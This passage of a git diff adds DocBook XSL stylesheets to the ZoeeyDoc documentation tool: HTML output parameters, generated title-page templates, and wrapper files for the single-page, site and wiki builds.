additional information + regarding copyright ownership. The ASF licenses this file + to you under the Apache License, Version 2.0 (the + "License"); you may not use this file except in compliance + with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License. +--> + +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + version='1.0'> + <xsl:output method="html" encoding="utf-8" indent="no"/> + <xsl:param name="html.encoding">utf-8</xsl:param> + <xsl:param name="helphtml.encoding">utf-8</xsl:param> +<!-- Activate Graphics --> + <xsl:param name="admon.graphics" select="1"/> + <xsl:param name="admon.graphics.path">images/</xsl:param> + <xsl:param name="admon.graphics.extension">.gif</xsl:param> + <xsl:param name="callout.graphics" select="1" /> + <xsl:param name="callout.graphics.path">images/callouts/</xsl:param> + <xsl:param name="callout.graphics.extension">.gif</xsl:param> + + <xsl:param name="table.borders.with.css" select="1"/> + <xsl:param name="html.stylesheet">css/styles.css</xsl:param> + <xsl:param name="html.stylesheet.type">text/css</xsl:param> + <xsl:param name="generate.toc">book toc,title</xsl:param> + + <xsl:param name="admonition.title.properties">text-align: left</xsl:param> + + <!-- Label Chapters and Sections (numbering) --> + <xsl:param name="chapter.autolabel" select="1"/> + <xsl:param name="section.autolabel" select="1"/> + <xsl:param name="section.autolabel.max.depth" select="1"/> + + <xsl:param name="section.label.includes.component.label" select="1"/> + <xsl:param name="table.footnote.number.format" select="'1'"/> + +<!-- Remove "Chapter" from the Chapter titles... --> + <xsl:param name="local.l10n.xml" select="document('')"/> + <l:i18n xmlns:l="http://docbook.sourceforge.net/xmlns/l10n/1.0"> + <l:l10n language="en"> + <l:context name="title-numbered"> + <l:template name="chapter" text="%n. %t"/> + <l:template name="section" text="%n %t"/> + </l:context> + </l:l10n> + </l:i18n> +</xsl:stylesheet> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle-titlepage.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle-titlepage.xsl new file mode 100644 index 0000000..5e761bf --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle-titlepage.xsl @@ -0,0 +1,201 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" version="1.0" exclude-result-prefixes="exsl"> + +<!-- This stylesheet was created by template/titlepage.xsl--> + +<xsl:template name="book.titlepage.recto"> + <xsl:choose> + <xsl:when test="bookinfo/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/title"/> + </xsl:when> + <xsl:when test="info/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/title"/> + </xsl:when> + <xsl:when test="title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="title"/> + </xsl:when> + </xsl:choose> + + <xsl:choose> + <xsl:when test="bookinfo/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/subtitle"/> + </xsl:when> + <xsl:when test="info/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/subtitle"/> + </xsl:when> + <xsl:when test="subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="subtitle"/> + </xsl:when> + </xsl:choose> + + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/mediaobject"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/mediaobject"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/abstract"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/abstract"/> +</xsl:template> + +<xsl:template name="book.titlepage.verso"> +</xsl:template> + +<xsl:template name="book.titlepage.separator"><hr/> +</xsl:template> + +<xsl:template name="book.titlepage.before.recto"> +</xsl:template> + +<xsl:template name="book.titlepage.before.verso"> +</xsl:template> + +<xsl:template name="book.titlepage"> + <div class="titlepage"> + <xsl:variable name="recto.content"> + <xsl:call-template name="book.titlepage.before.recto"/> + <xsl:call-template name="book.titlepage.recto"/> + </xsl:variable> + <xsl:variable name="recto.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"><xsl:value-of select="count(exsl:node-set($recto.content)/*)"/></xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--><xsl:value-of select="count(exsl:node-set($recto.content)/*)"/></xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($recto.content) != '') or ($recto.elements.count > 0)"> + <div><xsl:copy-of select="$recto.content"/></div> + </xsl:if> + <xsl:variable name="verso.content"> + <xsl:call-template name="book.titlepage.before.verso"/> + <xsl:call-template name="book.titlepage.verso"/> + </xsl:variable> + <xsl:variable name="verso.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"><xsl:value-of select="count(exsl:node-set($verso.content)/*)"/></xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--><xsl:value-of select="count(exsl:node-set($verso.content)/*)"/></xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($verso.content) != '') or ($verso.elements.count > 0)"> + <div><xsl:copy-of select="$verso.content"/></div> + </xsl:if> + <xsl:call-template name="book.titlepage.separator"/> + </div> +</xsl:template> + +<xsl:template match="*" mode="book.titlepage.recto.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> +</xsl:template> + +<xsl:template match="*" mode="book.titlepage.verso.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> +</xsl:template> + +<xsl:template match="title" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="subtitle" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="corpauthor" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="authorgroup" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="author" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="mediaobject" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="othercredit" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="releaseinfo" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="copyright" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="legalnotice" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="pubdate" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="revision" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="revhistory" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +<xsl:template match="abstract" mode="book.titlepage.recto.auto.mode"> +<div xsl:use-attribute-sets="book.titlepage.recto.style"> +<xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> +</div> +</xsl:template> + +</xsl:stylesheet> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle.xsl new file mode 100644 index 0000000..922efe4 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/single/htmlsingle.xsl @@ -0,0 +1,30 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!-- + Licensed to the Apache Software Foundation (ASF) under one + or more contributor license agreements. See the NOTICE file + distributed with this work for additional information + regarding copyright ownership. The ASF licenses this file + to you under the Apache License, Version 2.0 (the + "License"); you may not use this file except in compliance + with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License. +--> + +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + version='1.0'> + + <xsl:import href="../../../../zips/cache/docbook-xsl/html/docbook.xsl" /> + <xsl:import href="htmlsingle-style.xsl" /> + <xsl:include href="htmlsingle-titlepage.xsl" /> + +</xsl:stylesheet> + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/header.html b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/header.html new file mode 100644 index 0000000..e69de29 diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site-style.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site-style.xsl new file mode 100644 index 0000000..19a17d2 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site-style.xsl @@ -0,0 +1,61 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!-- + Licensed to the Apache Software Foundation (ASF) under one + or more contributor license agreements. See the NOTICE file + distributed with this work for additional information + regarding copyright ownership. The ASF licenses this file + to you under the Apache License, Version 2.0 (the + "License"); you may not use this file except in compliance + with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License. +--> + +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + version='1.0'> + <xsl:output method="html" encoding="utf-8" indent="no"/> + <xsl:param name="html.encoding">utf-8</xsl:param> + <xsl:param name="helphtml.encoding">utf-8</xsl:param> + <xsl:param name="use.id.as.filename" select="1"/> +<!-- Activate Graphics --> + <xsl:param name="admon.graphics" select="1"/> + <xsl:param name="admon.graphics.path">images/</xsl:param> + <xsl:param name="admon.graphics.extension">.gif</xsl:param> + <xsl:param name="callout.graphics" select="1" /> + <xsl:param name="callout.graphics.path">images/callouts/</xsl:param> + <xsl:param name="callout.graphics.extension">.gif</xsl:param> + + <xsl:param name="table.borders.with.css" select="1"/> + <xsl:param name="html.stylesheet">css/styles.css</xsl:param> + <xsl:param name="html.stylesheet.type">text/css</xsl:param> + <xsl:param name="generate.toc">book toc,title</xsl:param> + + <xsl:param name="admonition.title.properties">text-align: left</xsl:param> + + <!-- Label Chapters and Sections (numbering) --> + <xsl:param name="chapter.autolabel" select="1"/> + <xsl:param name="section.autolabel" select="1"/> + <xsl:param name="section.autolabel.max.depth" select="1"/> + + <xsl:param name="section.label.includes.component.label" select="1"/> + <xsl:param name="table.footnote.number.format" select="'1'"/> + +<!-- Remove "Chapter" from the Chapter titles... --> + <xsl:param name="local.l10n.xml" select="document('')"/> + <l:i18n xmlns:l="http://docbook.sourceforge.net/xmlns/l10n/1.0"> + <l:l10n language="en"> + <l:context name="title-numbered"> + <l:template name="chapter" text="%n. %t"/> + <l:template name="section" text="%n %t"/> + </l:context> + </l:l10n> + </l:i18n> +</xsl:stylesheet> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site-titlepage.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site-titlepage.xsl new file mode 100644 index 0000000..258468a --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site-titlepage.xsl @@ -0,0 +1,214 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" version="1.0" exclude-result-prefixes="exsl"> + +<!-- This stylesheet was created by template/titlepage.xsl--> + + <xsl:template name="book.titlepage.recto"> + <xsl:choose> + <xsl:when test="bookinfo/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/title"/> + </xsl:when> + <xsl:when test="info/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/title"/> + </xsl:when> + <xsl:when test="title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="title"/> + </xsl:when> + </xsl:choose> + + <xsl:choose> + <xsl:when test="bookinfo/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/subtitle"/> + </xsl:when> + <xsl:when test="info/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/subtitle"/> + </xsl:when> + <xsl:when test="subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="subtitle"/> + </xsl:when> + </xsl:choose> + + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/mediaobject"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/mediaobject"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/othercredit"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/releaseinfo"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/copyright"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/legalnotice"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/pubdate"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revision"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/revhistory"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/abstract"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/abstract"/> + </xsl:template> + + <xsl:template name="book.titlepage.verso"> + </xsl:template> + + <xsl:template name="book.titlepage.separator"> + <hr/> + </xsl:template> + + <xsl:template name="book.titlepage.before.recto"> + </xsl:template> + + <xsl:template name="book.titlepage.before.verso"> + </xsl:template> + + <xsl:template name="book.titlepage"> + <div class="titlepage"> + <xsl:variable name="recto.content"> + <xsl:call-template name="book.titlepage.before.recto"/> + <xsl:call-template name="book.titlepage.recto"/> + </xsl:variable> + <xsl:variable name="recto.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"> + <xsl:value-of select="count(exsl:node-set($recto.content)/*)"/> + </xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--> + <xsl:value-of select="count(exsl:node-set($recto.content)/*)"/> + </xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($recto.content) != '') or ($recto.elements.count > 0)"> + <div> + <xsl:copy-of select="$recto.content"/> + </div> + </xsl:if> + <xsl:variable name="verso.content"> + <xsl:call-template name="book.titlepage.before.verso"/> + <xsl:call-template name="book.titlepage.verso"/> + </xsl:variable> + <xsl:variable name="verso.elements.count"> + <xsl:choose> + <xsl:when test="function-available('exsl:node-set')"> + <xsl:value-of select="count(exsl:node-set($verso.content)/*)"/> + </xsl:when> + <xsl:when test="contains(system-property('xsl:vendor'), 'Apache Software Foundation')"> + <!--Xalan quirk--> + <xsl:value-of select="count(exsl:node-set($verso.content)/*)"/> + </xsl:when> + <xsl:otherwise>1</xsl:otherwise> + </xsl:choose> + </xsl:variable> + <xsl:if test="(normalize-space($verso.content) != '') or ($verso.elements.count > 0)"> + <div> + <xsl:copy-of select="$verso.content"/> + </div> + </xsl:if> + <xsl:call-template name="book.titlepage.separator"/> + </div> + </xsl:template> + + <xsl:template match="*" mode="book.titlepage.recto.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> + </xsl:template> + + <xsl:template match="*" mode="book.titlepage.verso.mode"> + <!-- if an element isn't found in this mode, --> + <!-- try the generic titlepage.mode --> + <xsl:apply-templates select="." mode="titlepage.mode"/> + </xsl:template> + + <xsl:template match="title" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="subtitle" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="corpauthor" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="authorgroup" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="author" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="mediaobject" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="othercredit" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="releaseinfo" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="copyright" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="legalnotice" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="pubdate" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="revision" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="revhistory" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + + <xsl:template match="abstract" mode="book.titlepage.recto.auto.mode"> + <div xsl:use-attribute-sets="book.titlepage.recto.style"> + <xsl:apply-templates select="." mode="book.titlepage.recto.mode"/> + </div> + </xsl:template> + +</xsl:stylesheet> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site.xsl new file mode 100644 index 0000000..6a7f9b6 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/site/site.xsl @@ -0,0 +1,29 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!-- + Licensed to the Apache Software Foundation (ASF) under one + or more contributor license agreements. See the NOTICE file + distributed with this work for additional information + regarding copyright ownership. The ASF licenses this file + to you under the Apache License, Version 2.0 (the + "License"); you may not use this file except in compliance + with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License. +--> + +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + version='1.0'> + <xsl:import href="../../../../zips/cache/docbook-xsl/website/website.xsl" /> + <xsl:import href="site-style.xsl" /> + <xsl:include href="site-titlepage.xsl" /> + +</xsl:stylesheet> + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/header.html b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/header.html new file mode 100644 index 0000000..e69de29 diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki-style.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki-style.xsl new file mode 100644 index 0000000..19a17d2 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki-style.xsl @@ -0,0 +1,61 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!-- + Licensed to the Apache Software Foundation (ASF) under one + or more contributor license agreements. See the NOTICE file + distributed with this work for additional information + regarding copyright ownership. The ASF licenses this file + to you under the Apache License, Version 2.0 (the + "License"); you may not use this file except in compliance + with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License. +--> + +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + version='1.0'> + <xsl:output method="html" encoding="utf-8" indent="no"/> + <xsl:param name="html.encoding">utf-8</xsl:param> + <xsl:param name="helphtml.encoding">utf-8</xsl:param> + <xsl:param name="use.id.as.filename" select="1"/> +<!-- Activate Graphics --> + <xsl:param name="admon.graphics" select="1"/> + <xsl:param name="admon.graphics.path">images/</xsl:param> + <xsl:param name="admon.graphics.extension">.gif</xsl:param> + <xsl:param name="callout.graphics" select="1" /> + <xsl:param name="callout.graphics.path">images/callouts/</xsl:param> + <xsl:param name="callout.graphics.extension">.gif</xsl:param> + + <xsl:param name="table.borders.with.css" select="1"/> + <xsl:param name="html.stylesheet">css/styles.css</xsl:param> + <xsl:param name="html.stylesheet.type">text/css</xsl:param> + <xsl:param name="generate.toc">book toc,title</xsl:param> + + <xsl:param name="admonition.title.properties">text-align: left</xsl:param> + + <!-- Label Chapters and Sections (numbering) --> + <xsl:param name="chapter.autolabel" select="1"/> + <xsl:param name="section.autolabel" select="1"/> + <xsl:param name="section.autolabel.max.depth" select="1"/> + + <xsl:param name="section.label.includes.component.label" select="1"/> + <xsl:param name="table.footnote.number.format" select="'1'"/> + +<!-- Remove "Chapter" from the Chapter titles... --> + <xsl:param name="local.l10n.xml" select="document('')"/> + <l:i18n xmlns:l="http://docbook.sourceforge.net/xmlns/l10n/1.0"> + <l:l10n language="en"> + <l:context name="title-numbered"> + <l:template name="chapter" text="%n. %t"/> + <l:template name="section" text="%n %t"/> + </l:context> + </l:l10n> + </l:i18n> +</xsl:stylesheet> diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki-titlepage.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki-titlepage.xsl new file mode 100644 index 0000000..258468a --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki-titlepage.xsl @@ -0,0 +1,214 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" version="1.0" exclude-result-prefixes="exsl"> + +<!-- This stylesheet was created by template/titlepage.xsl--> + + <xsl:template name="book.titlepage.recto"> + <xsl:choose> + <xsl:when test="bookinfo/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/title"/> + </xsl:when> + <xsl:when test="info/title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/title"/> + </xsl:when> + <xsl:when test="title"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="title"/> + </xsl:when> + </xsl:choose> + + <xsl:choose> + <xsl:when test="bookinfo/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/subtitle"/> + </xsl:when> + <xsl:when test="info/subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/subtitle"/> + </xsl:when> + <xsl:when test="subtitle"> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="subtitle"/> + </xsl:when> + </xsl:choose> + + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/corpauthor"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/authorgroup"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/author"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="bookinfo/mediaobject"/> + <xsl:apply-templates mode="book.titlepage.recto.auto.mode" select="info/mediaobject"/> + <xsl:apply-templates 